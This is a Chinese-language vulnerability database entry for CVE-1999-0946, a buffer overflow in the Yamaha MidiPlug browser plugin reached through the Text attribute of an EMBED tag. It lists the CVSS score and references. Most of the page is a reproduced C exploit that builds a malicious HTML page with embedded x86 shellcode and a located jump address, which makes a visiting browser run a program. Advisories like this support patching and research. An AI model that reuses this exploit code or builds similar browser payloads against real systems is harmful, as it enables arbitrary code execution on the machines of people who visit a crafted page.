CVE-1999-0946
CVSS5.1
发布时间 :1999-11-02 00:00:00
修订时间 :2016-10-17 21:59:56
NMCOE    

[原文]Buffer overflow in Yamaha MidiPlug via a Text variable in an EMBED tag.


[CNNVD]Microsoft IE Yamaha MidiPlug缓冲区溢出漏洞(CNNVD-199911-009)

        Yamaha MidiPlug中存在缓冲区溢出漏洞。通过EMBED标签中的Text变量产生该漏洞。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0946
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0946
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199911-009
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=94157187815629&w=2
(UNKNOWN)  BUGTRAQ  19991102 Some holes for Win/UNIX softwares
http://www.securityfocus.com/bid/760
(UNKNOWN)  BID  760

- 漏洞信息

Microsoft IE Yamaha MidiPlug缓冲区溢出漏洞
中危 缓冲区溢出
1999-11-02 00:00:00 2005-05-02 00:00:00
远程※本地  
        Yamaha MidiPlug中存在缓冲区溢出漏洞。通过EMBED标签中的Text变量产生该漏洞。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19585)

Yamaha MidiPlug 1.1 b-j MidiPlug Buffer Overflow Vulnerability (EDBID:19585)
windows local
1999-11-02 Verified
0 UNYUN
N/A [点击下载]
source: http://www.securityfocus.com/bid/760/info

There is a buffer overflow in the MidiPlug that may allow arbitrary code to be executed on the local host. This overflow occurs if a long "Text" variable is specified within an EMBED tag in a web page. Instructions in the text variable may be executed when a user visits the malicious web page.

/*=============================================================================
   YAMAHA MidiPLUG 1.10b-j for Windows98 IE4.0/5.0 exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN (shadowpenguin@backsection.net)
  =============================================================================
*/

#include    <stdio.h>
#include    <windows.h>

#define     MAXBUF          700
#define     RETADR          256

unsigned int mems[]={
0xbfe30000,0xbfe43000,0xbfe80000,0xbfe86000,
0xbfe90000,0xbfe96000,0xbfea0000,0xbfeb0000,
0xbfee0000,0xbfee5000,0xbff20000,0xbff47000,
0xbff50000,0xbff61000,0xbff70000,0xbffc6000,
0xbffc9000,0xbffe3000,0,0};

unsigned char exploit_code[200]={
0x90,0xEB,0x50,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x90,0x88,0x23,0xB8,0x50,0x57,0xF7,0xBF,0x80,
0xc4,0x20,0xFF,0xD0,0x43,0x90,0xB2,0xE0,0x90,0x28,
0x13,0x28,0x53,0x01,0x28,0x53,0x02,0x28,0x53,0x03,
0x28,0x53,0x04,0x28,0x53,0x05,0x53,0x50,0x32,0xE4,
0x83,0xC3,0x06,0x90,0x88,0x23,0xB8,0x28,0x4E,0xF7,
0xBF,0x80,0xc4,0x20,0xFF,0xD0,0x8B,0xF0,0x43,0x53,
0x90,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x90,0xEB,0xFD,0xE8,0xAB,0xFF,0xFF,0xFF,0x00
};

unsigned char cmdbuf[200]="MSVCRT.DLL.SYSTEM.WELCOME.EXE";

unsigned int search_mem(FILE *fp,unsigned char *st,unsigned char *ed,
                unsigned char c1,unsigned char c2)
{
    unsigned char   *p;
    unsigned int    adr;

    for (p=st;p<ed;p++)
        if (*p==c1 && *(p+1)==c2){
            adr=(unsigned int)p;
            if ((adr&0xff)==0) continue;
            if (((adr>>8)&0xff)==0) continue;
            if (((adr>>16)&0xff)==0) continue;
            if (((adr>>24)&0xff)==0) continue;
            return(adr);
        }
    return(0);

}
main(int argc,char *argv[])
{
    FILE                    *fp;
    unsigned int            i,ip;
    unsigned char           buf[MAXBUF];

    if (argc<2){
        printf("usage %s output_htmlfile\n",argv[0]);
        exit(1);
    }
    if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE;
    fprintf(fp,"<HTML><EMBED\nTYPE=\"audio/midi\"\nWIDTH=150\nHEIGHT=40\nAUTOSTART=TRUE\nTEXT=\"");
    for (i=0;;i+=2){
        if (mems[i]==0){
            printf("Can not find jmp code.\n");
            exit(1);
        }
        if ((ip=search_mem(fp,(unsigned char *)mems[i],
            (unsigned char *)mems[i+1],0xff,0xe0))!=0) break;
    }
    printf("Jumping address : %x\n",ip);
    memset(buf,0x90,MAXBUF);
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    strcat(exploit_code,cmdbuf);
    memcpy(buf,exploit_code,strlen(exploit_code));
    buf[MAXBUF]=0;
    fprintf(fp,"%s\"\n>\n</HTML>",buf);
    fclose(fp);
    printf("%s created.\n",argv[1]);
    return FALSE;
}

		

- 漏洞信息

1131
Yamaha MidiPlug EMBED Tag Handling Overflow
Context Dependent Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

1999-11-02 Unknow
1999-11-02 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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